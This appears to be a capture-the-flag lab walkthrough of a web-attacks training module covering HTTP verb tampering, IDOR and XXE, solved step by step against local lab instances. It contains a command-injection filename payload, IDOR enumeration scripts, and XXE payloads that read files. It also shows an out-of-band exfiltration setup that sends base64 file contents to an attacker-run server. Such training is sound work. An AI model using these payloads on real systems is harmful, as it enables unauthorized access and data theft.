Web Attacks

Introduction to Web Attacks

As web applications become ubiquitous across businesses, defending them against malicious activity grows increasingly important. Modern web apps are more feature-rich and interconnected than ever, and attackers have evolved accordingly. That expanded functionality increases the overall attack surface for organizations, which is why web-based attacks are among the most frequent threats IT teams face. Securing web applications is now a top priority for any security or IT group.

Compromising an externally accessible web app can be a gateway into an organization’s internal network, potentially resulting in data theft, service disruption, and serious financial loss. Even organizations without public-facing websites commonly run internal web apps or expose API endpoints—these are vulnerable to the same classes of attacks and can be exploited to achieve similar objectives.

Web Attacks

HTTP Verb Tampering

HTTP Verb Tampering targets servers that accept multiple HTTP methods (verbs). By sending requests using unexpected or nonstandard methods, an attacker can sometimes circumvent the application’s authorization checks or other security controls. This technique abuses web server configuration and request-handling logic and is one of several HTTP-based attacks that can lead to unauthorized access or control when the server’s method handling is misconfigured.

Insecure Direct Object References (IDOR)

Insecure Direct Object References (IDOR) are among the most prevalent web vulnerabilities. They occur when an application exposes internal object identifiers (such as sequential IDs or filenames) without enforcing adequate access controls. If the backend does not verify that the requesting user is permitted to access a particular resource, an attacker can often enumerate or guess identifiers to retrieve other users’ data or files. The root cause is usually weak or missing authorization checks on object-level access.

XML External Entity (XXE) Injection

XML External Entity (XXE) Injection affects applications that parse XML input—especially when they use outdated or insecure XML libraries. A maliciously crafted XML payload can cause the parser to disclose local files, configuration data, or other sensitive information stored on the server. Exposed configuration files may contain credentials or secrets; access to those can enable deeper compromises (including full server takeover or remote code execution). XXE findings can also convert a black-box test into a white-box scenario by revealing source code or config details that make further exploitation easier.

Bypassing Basic Authentication

Abusing HTTP Verb Tampering vulnerabilities is often quite simple in practice. The typical approach is to try different HTTP methods and observe how the web server and application respond. Automated scanners detect many verb-tampering issues that stem from poor server configuration, but they frequently overlook cases that arise from insecure application code. The reason is that configuration problems are usually revealed as soon as you manage to get past an authentication page, whereas logic flaws in the application require deliberate, hands-on testing to uncover whether security filters and authorization checks can be evaded.

One common class of HTTP Verb Tampering stems from insecure web server configurations. When present, this flaw can be abused to circumvent HTTP Basic Authentication on certain endpoints, allowing unauthorized access to pages that should be protected.

Try to use what you learned in this section to access the ‘reset.php’ page and delete all files. Once all files are deleted, you should get the flag.

Open the page and Burp Suite. Click on the Reset button.

Go to Burp Suite, right click on the request and choose Send to Repeater.

Change the request type to OPTIONS or HEAD. Click on Send button.

Reload the web page and get the flag.

Bypassing Security Filters

A different — and actually more frequent — form of HTTP Verb Tampering stems from sloppy or incomplete coding during the web application’s development. In these cases the application’s logic or its protective filters assume only a subset of HTTP methods will be used for a given function, so they fail to validate or sanitize inputs routed through alternative methods. This flaw often shows up inside request-inspection filters that only look at certain places for malicious content. For instance, a filter designed to find injection payloads might only examine parameters sent via POST (for example, $_POST['parameter']) and ignore query string or GET parameters. An attacker can exploit that oversight simply by switching the request method to GET (or another verb), delivering the same payload where the filter doesn’t check, and thus bypassing the protection.

To get the flag, try to bypass the command injection filter through HTTP Verb Tampering, while using the following filename: file; cp /flag.txt ./

Open the address and send any name. Intercept the request with Burp Suite.

Right click on it and choose Send to Repeater

Let’s try to create two files. Right click on the Request method and choose Change request method.

Copy the file from the root directory to the current directory.

filename=file; cp /flag.txt .;

Open the file and get the flag.

Mass IDOR Enumeration

Exploiting IDOR vulnerabilities is easy in some instances but can be very challenging in others. Once we identify a potential IDOR, we can start testing it with basic techniques to see whether it would expose any other data. As for advanced IDOR attacks, we need to better understand how the web application works, how it calculates its object references, and how its access control system works to be able to perform advanced attacks that may not be exploitable with basic techniques.

Let’s start discussing various techniques of exploiting IDOR vulnerabilities, from basic enumeration to mass data gathering, to user privilege escalation.

Repeat what you learned in this section to get a list of documents of the first 20 user uid’s in /documents.php, one of which should have a ‘.txt’ file with the flag.

Use the script bellow:

#!/bin/bash
url="127.0.0.1:30134"

for i in {1..20}; do
    echo "Checking uid $i"
    for link in $(curl -X POST -d "uid=$i" "$url/documents.php" | grep -oP "\/documents\/[^']*\.(pdf|txt)"); do
        filename=$(basename "$link")
        wget -q "$url$link"
        if [[ "$filename" == *.txt ]]; then
            echo "FLAG FOUND: $filename"
            cat "$filename"
        fi
    done
done

Give permission to execute this file and execute it.

(suricato@kali)-[~/Documentos/]
❯ nano script.sh

(suricato@kali)-[~/Documentos/]
❯ chmod +x script.sh

(suricato@kali)-[~/Documentos/]
❯ ./script.sh
Checking uid 1
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   868    100   863  100     5   2087     12  --:--:--  --:--:--  --:--:--   2101
Prepended http:// to '127.0.0.1:30134/documents/Invoice_1_09_2021.pdf'
Prepended http:// to '127.0.0.1:30134/documents/Report_1_10_2021.pdf'

Checking uid 2
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   868    100   863  100     5   2070     11  --:--:--  --:--:--  --:--:--   2081
Prepended http:// to '127.0.0.1:30134/documents/Invoice_2_08_2020.pdf'
Prepended http:// to '127.0.0.1:30134/documents/Report_2_12_2020.pdf'

Checking uid 3
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   868    100   863  100     5   2007     11  --:--:--  --:--:--  --:--:--   2023
Prepended http:// to '127.0.0.1:30134/documents/Invoice_3_06_2020.pdf'
Prepended http:// to '127.0.0.1:30134/documents/Report_3_01_2020.pdf'

Checking uid 4
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   868    100   863  100     5   2100     12  --:--:--  --:--:--  --:--:--   2117
Prepended http:// to '127.0.0.1:30134/documents/Invoice_4_07_2021.pdf'
Prepended http:// to '127.0.0.1:30134/documents/Report_4_11_2020.pdf'

Checking uid 5
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   868    100   863  100     5   2067     11  --:--:--  --:--:--  --:--:--   2076
Prepended http:// to '127.0.0.1:30134/documents/Invoice_5_11_2021.pdf'
Prepended http:// to '127.0.0.1:30134/documents/Report_5_11_2021.pdf'

Checking uid 6
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   868    100   863  100     5   2052     11  --:--:--  --:--:--  --:--:--   2066
Prepended http:// to '127.0.0.1:30134/documents/Invoice_6_09_2021.pdf'
Prepended http:// to '127.0.0.1:30134/documents/Report_6_09_2020.pdf'

After the script finish, list all files and search for the file that the size is bigger than 0.

$ ls -la
total 16
drwxrwxr-x  2 suricato suricato 4096 out 12 17:55 .
drwxrwxr-x  5 suricato suricato 4096 out 10 06:17 ..
-rw-rw-r--  1 suricato suricato   24 set  9 2021 Flag_[REDACTED].txt
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_10_03_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_11_03_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_1_09_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_12_02_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_13_06_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_14_01_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_15_11_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_16_12_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_17_07_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_18_12_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_19_06_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_20_06_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_2_08_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_3_06_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_4_07_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_5_11_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_6_09_2019.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_7_01_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_8_06_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Invoice_9_04_2019.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_10_05_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_11_04_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_12_02_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_13_01_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_14_06_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_15_01_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_16_03_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_17_06_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_18_01_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_19_08_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_1_10_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_20_01_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_2_12_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_3_01_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_4_11_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_5_11_2021.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_6_09_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_7_01_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_8_12_2020.pdf
-rw-rw-r--  1 suricato suricato    0 out 12 17:50 Report_9_05_2020.pdf
-rwxrwxr-x  1 suricato suricato   402 out 12 17:54 script.sh

List the content of the file and get the flag.

$ cat flag_[REDACTED].txt
[REDACTED]

Bypassing Encoded References

When object identifiers are obscured — for example hashed, encoded, or mangled — simple sequential guessing becomes harder, but it doesn’t always make enumeration impossible. Encoded references often contain predictable pieces (timestamps, incremental counters, user-specific salts) or are produced by reversible transforms. By studying client-side code, API responses, and any leaked mappings you can sometimes infer the encoding scheme or recover components that allow predictable generation of valid IDs. Other approaches include looking for endpoints that accept alternative representations, exploiting weak or deterministic hashing, and using side-channels (length, timing, error messages) to narrow possibilities. Always scale attempts carefully to avoid rate limits or detection, and only test encodings on systems where you have explicit authorization.

Try to download the contracts of the first 20 employee, one of which should contain the flag, which you can read with ‘cat’. You can either calculate the ‘contract’ parameter value, or calculate the ‘.pdf’ file name directly.

Open the web page and click on Contracts link.

Looking at the page’s source code exposes an important function:

function downloadContract(uid) { 
    window.location = "/download.php?contract=" + encodeURIComponent(btoa(uid)); 
}

This function applies two layers of encoding:

  • btoa(uid) – Converts the uid value into Base64 format.
  • encodeURIComponent() – Encodes the Base64 output so it can be safely included in a URL.

Now that we understand the encoding pattern, we can systematically enumerate all users.

#!/bin/bash
url="http://127.0.0.1:30134/download.php?contract="
for i in {1..20}; do
    # Reproduce the exact encoding: uid -> base64
    encodedid=$(echo -n $i | base64 -w 0)

    echo "Testing user $i (contract=$encodedid)..."

    # Make request and capture response
    response=$(curl -s "${url}${encodedid}")

    # Check for meaningful content
    if [[ ${#response} -gt 10 ]]; then
        echo "  ✓ Found content for user $i:"
        echo "$response"
    else
        echo "  ✗ Empty or minimal response"
    fi
done

Create a file, insert the script, give permission and execute it.

nano script.sh
chmod +x script.sh
./script.sh
./script.sh
Testing user 1 (contract=MQ==) ...
  ✗ Empty or minimal response
Testing user 2 (contract=Mg==) ...
  ✗ Empty or minimal response
Testing user 3 (contract=Mw==) ...
  ✗ Empty or minimal response
Testing user 4 (contract=NA==) ...
  ✗ Empty or minimal response
Testing user 5 (contract=NQ==) ...
  ✗ Empty or minimal response
Testing user 6 (contract=Ng==) ...
  ✗ Empty or minimal response
Testing user 7 (contract=Nw==) ...
  ✗ Empty or minimal response
Testing user 8 (contract=OAA=) ...
  ✗ Empty or minimal response
Testing user 9 (contract=OQ==) ...
  ✗ Empty or minimal response
Testing user 10 (contract=MTA=) ...
  ✗ Empty or minimal response
Testing user 11 (contract=MTE=) ...
  ✗ Empty or minimal response
Testing user 12 (contract=MTI=) ...
  ✗ Empty or minimal response
Testing user 13 (contract=MTM=) ...
  ✗ Empty or minimal response
Testing user 14 (contract=MTQ=) ...
  ✗ Empty or minimal response
Testing user 15 (contract=MTU=) ...
  ✗ Empty or minimal response
Testing user 16 (contract=MTY=) ...
  ✗ Empty or minimal response
Testing user 17 (contract=MTc=) ...
  ✗ Empty or minimal response
Testing user 18 (contract=MTg=) ...
  ✗ Empty or minimal response
Testing user 19 (contract=MTk=) ...
  ✗ Empty or minimal response
Testing user 20 (contract=MJA=) ...
  ✓ Found content for user 20:
[REDACTED]

IDOR in Insecure APIs

Up to now we’ve focused on IDOR flaws that let us read files or other resources outside our account. But IDOR can also appear inside API endpoints and function calls — and when it does, the impact goes beyond just viewing data. Exploiting these flaws can let an attacker invoke actions on behalf of another user. That means an attacker might modify someone else’s private data, trigger a password reset for another account, or even initiate purchases using another user’s payment details. Often these scenarios combine two issues: first using an IDOR information-disclosure bug to obtain identifiers or tokens, and then using that information to abuse insecure function calls in the API. We’ll explore examples of these combined risks later in the module.

Try to read the details of the user with ‘uid=5’. What is their ‘uuid’ value?

Open the web page and click on Edit Profile. Intercept the request with Burp Suite. Right click on it and choose Send to Repeater.

On Repeater tab. Change the request value from 1 to 5 and click on Send button.

Try to change the admin’s email to ‘flag@idor.local’, and you should get the flag on the ‘edit profile’ page.

Open the page and click on Edit Profile button. Intercept the request with Burp Suite.

Right click and choose Send to Repeater. Change the value from 1 to 10 (that’s the administrator value).

Copy the json from Response. Click on the button Update and get the Request. Change the value to 10 and the email. Click on Send button to update this profile.

Update the page and change the request value to 10.The flag will appear on the next page.

Local File Disclosure

When a web application accepts XML input from users without properly filtering or sanitizing it, an attacker can sometimes supply or reference a custom external DTD (Document Type Definition) and create new XML entities. If the application parses and later renders those entities in the page output, we can escalate that behavior by defining external entities that point to files on the server’s filesystem. When those external entities are expanded and included in the response, the contents of the referenced local file are revealed to the attacker.

Below we’ll cover how to spot likely XXE (XML External Entity) weaknesses in applications and walk through practical exploitation techniques to extract sensitive files from the backend server — for example configuration files, credentials, or other data that should never be exposed. We’ll also highlight common detection hints (unusual DTD handling, XML parsers with external entity support, server-side error messages) and basic safeguards to test whether an endpoint is vulnerable before attempting extraction.

Try to read the content of the ‘connection.php’ file, and submit the value of the ‘api_key’ as the answer.

Open the page and fill the form. Intercept the request with Burp Suite. Right click on it and choose Send to Repeater.

Use the payload bellow to verify if the site is vulnerable.

<!DOCTYPE email [
  <!ENTITY company "Hackthedome">
]>

Now, we’ll try to read the passwd file

This site is vulnerable. To read the file, we need to convert it to base64.

Now, decode the file using Burp Decode and get the flag.

Advanced File Exposure

Not every XXE flaw is simple to abuse, as covered earlier. Certain file types won’t return readable data when probed with a basic XXE payload, and at times the application never reflects user-supplied input back in responses. In those cases you can try to force a disclosure indirectly — triggering server-side error messages, sending deliberately malformed requests, or using alternate processing paths to coerce file contents into the app’s output.

Use either method from this section to read the flag at ‘/flag.php’. (You may use the CDATA method at ‘/index.php’, or the error-based method at ‘/error’).

On your terminal, create a file

echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd

In the same folder, start a python server

python3 -m http.server 8000

Open the site and fill the form and intercept the request. Right click and choose Send to Repeater.

Use the payload bellow and send the request.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> 
  <!ENTITY % file SYSTEM "file:///flag.php"> 
  <!ENTITY % end "]]>"> 
  <!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/xxe.dtd"> 
  %xxe;
]>
<root>
<name>Name</name>
<tel>5531985442365</tel>
<email>&joined;</email>
<message>Test</message>
</root>

After send the request, you’ll get the flag value.

$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [21/Oct/2025 08:29:13] "GET /xxe.dtd HTTP/1.0" 200 -

Blind Data Exfiltration

Previously we examined a blind XXE case in which none of our injected XML entities were ever returned in the server’s response. Although the web server in that example leaked PHP runtime errors — which we were able to abuse to extract file contents from the error messages — that technique relies on visible errors. Here, we’ll explore methods for extracting file data in a truly blind scenario: a situation where the application neither echoes any of our XML entity values nor exposes PHP error output. In other words, we’ll cover techniques for retrieving file contents when there is no direct feedback from the server at all.

Using Blind Data Exfiltration on the ‘/blind’ page to read the content of ‘/327a6c4304ad5938eaf0efb6cc3e53dc.php’ and get the flag.

Create a file named xxe.dtd and insert the code bellow:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/327a6c4304ad5938eaf0efb6cc3e53dc.php">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://127.0.0.1:8000/?content=%file;'>">

In the same folder, create another file named index.php and insert the code bellow:

<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

After that, start a php server

php -S 0.0.0.0:8000

Open Burp Suite and the page, fill the form and intercept the request. Right click on it and choose Send to Repeater.

In the repeater tab, use the payload bellow:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://127.0.0.1:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

Send the request and get the flag on your terminal.

$ php -S 0.0.0.0:8000
[Wed Oct 22 07:26:59 2025] PHP 8.4.1 Development Server (http://0.0.0.0:8000) started
[Wed Oct 22 07:27:30 2025] 127.0.0.1:45538 Accepted
[Wed Oct 22 07:27:32 2025] 127.0.0.1:45538 [200]: GET /xxe.dtd
[Wed Oct 22 07:27:33 2025] 127.0.0.1:45538 Closing
[Wed Oct 22 07:27:36 2025] 127.0.0.1:45520 Accepted
[Wed Oct 22 07:27:38 2025]
<?php $flag = "[REDACTED]"; ?>

Web Attacks – Skills Assessment

Scenario

You’ve been hired to carry out a web-application penetration test for a software development firm. They’ve asked you to evaluate the newest release of their social-networking web app. Use the range of techniques and methods covered in this module—reconnaissance, input validation testing, session and authentication analysis, business-logic checks, and exploitation techniques—to discover, validate, and where appropriate exploit the various security weaknesses present in the application.

Login credentials are given in the question that follows.

Try to escalate your privileges and exploit different vulnerabilities to read the flag at ‘/flag.php’.

Open the webpage on your browser and login the site.

Browse through the website to grab these endpoints.

The first and second, you get at the first page. The third, after change your password. Now we want to enumerate all the users. So, right click on the first endpoint and choose Send to Intruder. On the Intruder tab, select the code and click on the Add button. Change the Payload Type to Numbers and the range from 1 to 100.

Use admi, administrator, Admin and Administrator texts to find the code of the administrator

Start the attack and find the code.

Now that we have the administrator code, go to the second endpoint to get his token.

With his token in hand, I tried to change his password.

But it was denied. So I right click on the request and choose Change request method. And send again.

Now I could change his password to test. So I logout and login with the admin credentials.

On his dashboard, I found a new board. I clicked on the ADD EVENT button.

And create a new event.

I intercept this request on Burp and I think that I’ll found a XXE vulnerability.

Let’s try if the server is XXE vulnerable. Use the payload bellow

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY test "Hackthedome">
]>
            <root>
            <name>&test;</name>
            <details>eventDetails</details>
            <date>2025-10-22</date>
            </root>

This site is vulnerable. So I crafted the following XXE payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
]>
            <root>
            <name>&test;</name>
            <details>eventDetails</details>
            <date>2025-10-22</date>
            </root>

Now we need to decode the string using Burp Suite. Decode as base64 and get the flag.